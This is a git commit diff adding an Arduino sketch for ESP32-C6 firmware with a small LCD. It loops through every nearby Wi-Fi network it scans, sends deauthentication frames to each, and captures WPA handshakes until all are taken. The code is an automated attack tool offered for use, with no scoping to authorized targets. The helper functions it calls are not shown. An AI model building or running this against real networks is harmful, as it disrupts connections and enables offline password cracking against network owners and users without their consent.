Initial commit: handshake capture firmware for ESP32-C6 1.47" LCD

Made-with: Cursor
2026-03-17 20:07:32 -07:00
commit 026f15a4a7
3002 changed files with 821045 additions and 0 deletions
--- a/ESP32-C6-LCD-1.47-Demo/Arduino/examples/LVGL_Arduino/LVGL_Arduino.ino
+++ b/ESP32-C6-LCD-1.47-Demo/Arduino/examples/LVGL_Arduino/LVGL_Arduino.ino
@@ -0,0 +1,86 @@
+#include "Display_ST7789.h"
+#include "LVGL_Driver.h"
+#include "WiFi_Scanner.h"
+#include "SD_Card.h"
+#include "HandshakeCapture.h"
+
+// State machine for automatic capture
+enum CaptureState {
+  STATE_IDLE,
+  STATE_SCANNING,
+  STATE_CAPTURING,
+  STATE_WAITING
+};
+
+CaptureState captureState = STATE_IDLE;
+int current_target_index = -1;
+unsigned long capture_start_time = 0;
+const unsigned long CAPTURE_TIMEOUT_MS = 30000; // 30 seconds per network
+
+void setup()
+{
+  LCD_Init();
+  Lvgl_Init();
+  SD_Init();
+  WiFiScanner_Init();
+  handshakeCaptureInit();
+  
+  // Perform initial scan
+  WiFiScanner_Refresh();
+  captureState = STATE_SCANNING;
+}
+
+void loop()
+{
+  Timer_Loop();
+  handshakeCaptureLoop(); // handle periodic deauth
+  
+  switch (captureState) {
+    case STATE_SCANNING:
+      // Find first uncaptured network
+      current_target_index = -1;
+      for (int i = 0; i < 20; i++) {
+        if (networks[i].ssid.isEmpty()) break;
+        if (!networks[i].handshake_captured) {
+          current_target_index = i;
+          break;
+        }
+      }
+      if (current_target_index >= 0) {
+        setTarget(current_target_index);
+        captureState = STATE_CAPTURING;
+        capture_start_time = millis();
+        startCapture(true); // with deauth
+        Ui_SetWifiStatus("Capturing...");
+      } else {
+        // All networks captured
+        Ui_SetWifiStatus("All captured");
+        captureState = STATE_IDLE;
+      }
+      break;
+
+    case STATE_CAPTURING:
+      // Check if handshake captured
+      if (isHandshakeCaptured(current_target_index)) {
+        // Success
+        Ui_SetWifiStatus("Handshake captured");
+        stopCapture();
+        captureState = STATE_SCANNING;
+        // Wait a bit before moving to next
+        delay(2000);
+      } else if (millis() - capture_start_time > CAPTURE_TIMEOUT_MS) {
+        // Timeout
+        Ui_SetWifiStatus("Capture timeout");
+        stopCapture();
+        captureState = STATE_SCANNING;
+        delay(2000);
+      }
+      break;
+
+    case STATE_IDLE:
+      // Do nothing, maybe blink LED
+      break;
+  }
+
+  delay(16);
+}